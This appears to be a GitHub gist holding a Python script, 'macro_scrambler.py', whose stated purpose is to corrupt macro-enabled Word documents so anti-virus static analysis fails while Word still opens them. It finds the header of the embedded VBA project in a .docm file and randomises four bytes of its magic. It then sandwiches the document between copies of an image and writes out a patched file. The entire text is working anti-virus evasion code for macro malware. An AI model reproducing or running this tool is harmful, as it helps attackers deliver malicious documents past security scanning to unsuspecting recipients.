Corrupts macro documents to prevent static analysis by anti-virus while still allowing for the document to be opened in Microsoft Word.
import sys | |
import zipfile | |
import random | |
def get_zip_file_header_offset(zip_filename, target_filename): | |
""" | |
Parse the file header offset for a target_filename. | |
:param zip_filename: The name of the zip file to read. | |
:param target_filename: The name of the file to find the header of. | |
:return: The offset of the target file header. | |
""" | |
with zipfile.ZipFile(zip_filename, 'r') as zip: | |
for file in zip.infolist(): | |
if file.filename == target_filename: | |
return file.header_offset | |
return 0 | |
def read_file_content(filename): | |
""" | |
Read the contents of a file into a bytearray. | |
:param filename: The name of the file to read. | |
:return: File content as a bytearray. | |
""" | |
with open(filename, 'rb') as file: | |
return bytearray(file.read()) | |
return None | |
# Verify we have enough arguments. | |
if len(sys.argv) < 2: | |
print(f"Usage: macro_scrambler.py [document name] [image name]") | |
sys.exit(0xDEADBEEF) | |
# Read the arguments. | |
document_filename = sys.argv[1] | |
image_filename = sys.argv[2] | |
# Read the document | |
document_content = read_file_content(document_filename) | |
# Read the image. | |
image_content = read_file_content(image_filename) | |
# Make sure we were able to read both files. | |
if not document_content: | |
print("Could not read the document.") | |
sys.exit(0xDEADBEEF) | |
if not image_content: | |
print("Could not read the image.") | |
sys.exit(0xDEADBEEF) | |
# Grab the offset for the Macro file header. | |
macro_header_offset = get_zip_file_header_offset(document_filename, "word/vbaProject.bin") | |
print(f"macro_header_offset = {macro_header_offset}") | |
# Scramble the VBA file header magic. | |
document_content[macro_header_offset] = random.randint(0, 255) | |
document_content[macro_header_offset+1] = random.randint(0, 255) | |
document_content[macro_header_offset+2] = random.randint(0, 255) | |
document_content[macro_header_offset+3] = random.randint(0, 255) | |
# Prepend and append the image. | |
document_content = image_content + document_content + image_content | |
# Generate the new filename. | |
newfilename = document_filename | |
newfilename = newfilename.replace(".docm", "") + "-patched.docm" | |
# Write the patched document file. | |
with open(newfilename, 'wb') as file: | |
file.write(document_content) | |
print(f"Wrote the patched file to {newfilename}.") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment